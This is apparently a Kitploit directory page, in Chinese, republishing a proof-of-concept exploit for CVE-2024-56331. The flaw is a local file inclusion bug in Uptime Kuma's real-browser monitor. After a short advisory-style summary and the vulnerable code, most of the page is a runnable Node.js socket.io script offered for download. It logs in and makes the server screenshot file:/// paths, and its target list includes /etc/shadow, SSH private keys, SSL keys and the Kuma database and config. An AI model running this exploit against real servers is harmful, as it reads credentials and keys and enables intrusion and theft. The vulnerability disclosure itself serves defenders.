Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-56331 — 针对CVE-2024-56331的概念验证漏洞利用,演示了Uptime Kuma中由于real-browser监控器中对URL处理不当导致的本地文件包含漏洞。利用file:///协议捕获敏感服务器文件的屏幕截图。 | Kitploit
工具/GitHubGitHub/griisemine/cve-2024-56331
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试红队
GitHubgriisemine/cve-2024-56331

CVE-2024-56331

针对CVE-2024-56331的概念验证漏洞利用,演示了Uptime Kuma中由于real-browser监控器中对URL处理不当导致的本地文件包含漏洞。利用file:///协议捕获敏感服务器文件的屏幕截图。

查看仓库
121年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-56331 Uptime-Kuma : Real-Browser 监控中的不当 URL 处理导致本地文件包含 (LFI)

摘要

一个不当的 URL 处理漏洞允许攻击者通过利用 file:/// 协议访问服务器上的敏感本地文件。该漏洞通过 "real-browser" 请求类型触发,该类型会截取攻击者提供的 URL 的屏幕截图。通过提供本地文件路径(例如 file:///etc/passwd),攻击者可以读取服务器上的敏感数据。

详细信息

该漏洞的产生原因是系统未对 URL 字段的用户输入进行适当的验证或清理。具体如下:

  1. URL 输入字段(<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">)允许用户输入任意文件路径,包括使用 file:/// 协议的路径,且缺乏服务器端验证。

  2. 随后,服务器使用用户提供的 URL 发起请求,将其传递给浏览器实例执行 "real-browser" 请求,该请求会截取指定 URL 内容的屏幕截图。如果输入的是本地文件路径(例如 file:///etc/passwd),浏览器会获取并捕获文件内容。

root@kitploit:~
const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();

const res = await page.goto(monitor.url, {
    waitUntil: "networkidle",
    timeout: monitor.interval * 1000 * 0.8,
});

let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";

await page.screenshot({
    path: path.join(Database.screenshotDir, filename),
});

await context.close();

由于用户输入未经验证,攻击者可以操控 URL 来请求本地文件(例如 file:///etc/passwd),系统将截取文件内容的屏幕截图,从而可能泄露敏感数据。

PoC

  1. 操作说明:
    • 在 URL 字段中输入本地文件路径,例如:view-source:file:///etc/passwd。
    • 服务器将处理该 URL,并在 "real-browser" 模式下捕获文件内容的屏幕截图。

示例 PoC:

  1. 使用有效凭据登录应用程序:
root@kitploit:~
const { io } = require("socket.io-client");

// 服务器配置和凭据
const CONFIG = {
  serverUrl: "ws://localhost:3001",
  credentials: {
    username: "admin",
    password: "password1"
  },
  requestType: {
    REAL_BROWSER: "real-browser",
    HTTP: "http"
  },
  urlHeader: {
    VIEW_SOURCE: "view-source:file:///",
    FILE: "file:///"
  }
};

// Linux 系统上的敏感文件列表
const SENSITIVE_FILES = [
  "/etc/passwd",
  "/etc/shadow",
  "/etc/hosts",
  "/etc/hostname",
  "/etc/network/interfaces", // 可能因发行版而异
  "/etc/ssh/ssh_config",
  "/etc/ssh/sshd_config",
  "~/.ssh/authorized_keys",
  "~/.ssh/id_rsa",
  "/etc/ssl/private/*.key",
  "/etc/ssl/certs/*.crt",
  "/app/data/kuma.db", // Uptime Kuma 数据库文件
  "/app/data/config.json" // Uptime Kuma 配置文件
];

// 发送请求并等待响应的函数
function sendRequest(socket, filePath, type) {
  return new Promise((resolve, reject) => {
    fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
    if (type == CONFIG.requestType.HTTP) {
      fileUrl = CONFIG.urlHeader.FILE + filePath;
    }
    socket.emit("add", {
      type: type,
      name: type + " " + filePath,
      url: fileUrl,
      method: "GET",
      maxretries: 0,
      timeout: 500,
      notificationIDList: {},
      ignoreTls: true,
      upsideDown: false,
      accepted_statuscodes: ["200-299"]
    }, (res) => {
      console.log(`文件 ${filePath} 的响应:`, res);
      resolve();
    });
  });
}

// 连接并发送 'add' 请求的主函数
(async () => {
  const socket = io(CONFIG.serverUrl);

  // 处理连接错误
  socket.on("connect_error", (err) => {
    console.error("连接失败:", err.message);
  });

  try {
    // 使用凭据连接
    await new Promise((resolve, reject) => {
      socket.emit("login", {
        username: CONFIG.credentials.username,
        password: CONFIG.credentials.password,
        token: ""
      }, (res) => {
        if (res.ok) {
          console.log("连接成功");
          resolve();
        } else {
          console.log(res);
          reject(new Error("连接失败"));
        }
      });
    });

    // 使用 Promise.all 发送每个文件的请求以确保同步
    const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));

    // 等待所有请求发送完毕
    await Promise.all([...realBrowserRequests]);

    // 所有请求发送后关闭 socket
    socket.close();
    console.log("所有请求发送完毕,连接已关闭。");

  } catch (error) {
    console.error("错误:", error.message);
    socket.close();
  }
})();

影响

该漏洞是一个本地文件包含 (LFI) 问题,允许攻击者访问并可能泄露服务器上的敏感文件。影响重大,因为攻击者可以访问关键系统文件或应用程序配置文件,例如:

  • /etc/passwd:包含用户账户信息。
  • /etc/shadow:包含密码哈希。
  • /app/data/kuma.db:包含 Uptime Kuma 监控工具的数据库。
  • /app/data/config.json:包含 Uptime Kuma 的数据库凭据。

任何经过身份验证的用户如果能够在 "real-browser" 模式下提交 URL,都可能面临通过文件屏幕截图泄露敏感数据的风险。

下载工具